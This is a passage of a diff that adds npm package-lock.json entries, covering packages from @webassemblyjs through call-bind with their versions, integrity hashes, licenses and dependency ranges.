+ }, + "node_modules/@webassemblyjs/ast": { + "version": "1.14.1", + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.13.2", + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.13.2", + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.14.1", + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.13.2", + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.13.2", + "@webassemblyjs/helper-api-error": "1.13.2", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.13.2", + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.14.1", + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/wasm-gen": "1.14.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.13.2", + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", + "license": "MIT", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.13.2", + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", + "license": "Apache-2.0", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.13.2", + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.14.1", + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/helper-wasm-section": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-opt": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1", + "@webassemblyjs/wast-printer": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.14.1", + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.14.1", + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.14.1", + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-api-error": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.14.1", + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "license": "BSD-3-Clause" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "license": "Apache-2.0" + }, + "node_modules/accepts": { + "version": "1.3.8", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/mime-db": { + "version": "1.52.0", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/mime-types": { + "version": "2.1.35", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/negotiator": { + "version": "0.6.3", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.17.0", + "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-phases": { + "version": "1.0.4", + "integrity": "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==", + "license": "MIT", + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "acorn": "^8.14.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.5", + "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==", + "license": "MIT", + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "2.0.3", + "integrity": "sha512-XNAb/a6TCqou+TufU8/u11HCu9x1gYvOoxLwtlXgIqmkrYQADVv6ljyW2zwiPhHz9R1gItAWpuDrdJMmrOBFEA==", + "license": "MIT", + "engines": { + "node": ">= 16.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-keywords": { + "version": "5.1.0", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/algoliasearch": { + "version": "5.56.0", + "integrity": "sha512-PrqppUmhT4ENdas2pH9caE7efUcxy6EcSFhWzosiVuQBzu2tQ5yLTI6jwomT/1cuBnivzGfxiJCqDNN9FRRh+Q==", + "license": "MIT", + "dependencies": { + "@algolia/abtesting": "1.22.0", + "@algolia/client-abtesting": "5.56.0", + "@algolia/client-analytics": "5.56.0", + "@algolia/client-common": "5.56.0", + "@algolia/client-insights": "5.56.0", + "@algolia/client-personalization": "5.56.0", + "@algolia/client-query-suggestions": "5.56.0", + "@algolia/client-search": "5.56.0", + "@algolia/ingestion": "1.56.0", + "@algolia/monitoring": "1.56.0", + "@algolia/recommend": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/algoliasearch-helper": { + "version": "3.29.2", + "integrity": "sha512-SaV+rZM3drExb0punEYYjT+sNcH74YFwN8ocjya7IDOyQvKWeQpEaSMVG3+IGTVos+feuatj7ljQ4BXlXdUp3w==", + "license": "MIT", + "dependencies": { + "@algolia/events": "^4.0.1" + }, + "peerDependencies": { + "algoliasearch": ">= 3.1 < 6" + } + }, + "node_modules/ansi-align": { + "version": "3.0.1", + "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==", + "license": "ISC", + "dependencies": { + "string-width": "^4.1.0" + } + }, + "node_modules/ansi-align/node_modules/emoji-regex": { + "version": "8.0.0", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/ansi-align/node_modules/string-width": { + "version": "4.2.3", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "engines": [ + "node >= 0.8.0" + ], + "license": "Apache-2.0", + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ansis": { + "version": "3.17.0", + "integrity": "sha512-0qWUglt9JEqLFr3w1I1pbrChn1grhaiAR2ocX1PP/flRmxgtwTzPFFFnfIlD6aMOLQZgSuCRlidD70lvx8yhzg==", + "license": "ISC", + "engines": { + "node": ">=14" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "license": "MIT" + }, + "node_modules/array-union": { + "version": "2.1.0", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/asn1js": { + "version": "3.0.10", + "integrity": "sha512-S2s3aOytiKdFRdulw2qPE51MzjzVOisppcVv7jVFR+Kw0kxwvFrDcYA0h7Ndqbmj0HkMIXYWaoj7fli8kgx1eg==", + "license": "BSD-3-Clause", + "dependencies": { + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.5", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/astring": { + "version": "1.9.0", + "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==", + "license": "MIT", + "bin": { + "astring": "bin/astring" + } + }, + "node_modules/autoprefixer": { + "version": "10.5.4", + "integrity": "sha512-MaU0U/za7N3r6brxD4YB/l4NSrFzLPlANv6wEuQVaIPlD3L4W9rFcQPbL/EilY9BHhHvhfcz3gInDLrEtWT4EA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.6", + "caniuse-lite": "^1.0.30001806", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/babel-loader": { + "version": "9.2.1", + "integrity": "sha512-fqe8naHt46e0yIdkjUZYqddSXfej3AHajX+CSO5X7oy0EmPc6o5Xh+RClNoHjnieWz9AW4kZxW9yyFMhVB1QLA==", + "license": "MIT", + "dependencies": { + "find-cache-dir": "^4.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 14.15.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0", + "webpack": ">=5" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "license": "MIT", + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.17", + "integrity": "sha512-aTyf30K/rqAsNwN76zYrdtx8obu0E4KoUME29B1xj+B3WxgvWkp943vYQ+z8Mv3lw9xHXMHpvSPOBxzAkIa94w==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-define-polyfill-provider": "^0.6.8", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.13.0", + "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==", + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.5", + "core-js-compat": "^3.43.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.6.8", + "integrity": "sha512-M762rNHfSF1EV3SLtnCJXFoQbbIIz0OyRwnCmV0KPC7qosSfCO0QLTSuJX3ayAebubhE6oYBAYPrBA5ljowaZg==", + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.8" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/bail": { + "version": "2.0.2", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.43", + "integrity": "sha512-AjYpR78kDWAY3Efj+cDTFH9t9SCoL7OoTp1BOb0mQV7S+6CiLwnWM3FyxhJtdPufDFKzmCSFoUncKjWgJEZTCQ==", + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/batch": { + "version": "0.6.1", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==", + "license": "MIT" + }, + "node_modules/big.js": { + "version": "5.2.2", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/body-parser": { + "version": "1.20.6", + "integrity": "sha512-p5tAzS57i5MV9fZFDj9LeIiTZEufbSe2eDozP+ElheSUq1m74CRq1jI4mYNDdVs9vQztXFLuk/Gd6BWTdwRJ5g==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "~1.2.0", + "http-errors": "~2.0.1", + "iconv-lite": "~0.4.24", + "on-finished": "~2.4.1", + "qs": "~6.15.1", + "raw-body": "~2.5.3", + "type-is": "~1.6.18", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/bonjour-service": { + "version": "1.4.3", + "integrity": "sha512-2Kd5UYlFUVgAKMTyuBLl6w49wqfOnbxHqmuH0oCl/n7TfAikR0zoowNOP5BU4dfXmm+Vr9JyEN370auSMx+CNg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "license": "ISC" + }, + "node_modules/boxen": { + "version": "6.2.1", + "integrity": "sha512-H4PEsJXfFI/Pt8sjDWbHlQPx4zL/bvSQjcilJmaulGt5mLDorHOHpmdXAJcBcmru7PhYSp/cDMWRko4ZUMFkSw==", + "license": "MIT", + "dependencies": { + "ansi-align": "^3.0.1", + "camelcase": "^6.2.0", + "chalk": "^4.1.2", + "cli-boxes": "^3.0.0", + "string-width": "^5.0.1", + "type-fest": "^2.5.0", + "widest-line": "^4.0.1", + "wrap-ansi": "^8.0.1" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.16", + "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.6", + "integrity": "sha512-FQBYNK15VMslhLHpA7+n+n1GOlF1kId2xcCg7/j95f24AOF6VDYMNH4mFxF7KuaTdv627faazpOAjFzMrfJOUw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.42", + "caniuse-lite": "^1.0.30001803", + "electron-to-chromium": "^1.5.389", + "node-releases": "^2.0.51", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "license": "MIT" + }, + "node_modules/bundle-name": { + "version": "4.1.0", + "integrity": "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==", + "license": "MIT", + "dependencies": { + "run-applescript": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.0.0", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/bytestreamjs": { + "version": "2.0.1", + "integrity": "sha512-U1Z/ob71V/bXfVABvNr/Kumf5VyeQRBEm6Txb0PQ6S7V5GpBM3w4Cbqz/xPDicR5tN0uvDifng8C+5qECeGwyQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/cacheable-lookup": { + "version": "7.0.0", + "integrity": "sha512-+qJyx4xiKra8mZrcwhjMRMUhD5NR1R8esPkzIYxX96JiecFoxAXFuz/GpR3+ev4PE1WamHip78wV0vcmPQtp8w==", + "license": "MIT", + "engines": { + "node": ">=14.16" + } + }, + "node_modules/cacheable-request": { + "version": "10.2.14", + "integrity": "sha512-zkDT5WAF4hSSoUgyfg5tFIxz8XQK+25W/TLVojJTMKBaxevLBBtLxgqguAuVQB8PVW79FVjHcU+GJ9tVbDZ9mQ==", + "license": "MIT", + "dependencies": { + "@types/http-cache-semantics": "^4.0.2", + "get-stream": "^6.0.1", + "http-cache-semantics": "^4.1.1", + "keyv": "^4.5.3", + "mimic-response": "^4.0.0", + "normalize-url": "^8.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/call-bind": { + "version": "1.0.9", + "integrity": "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "get-intrinsic": "^1.3.0", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + 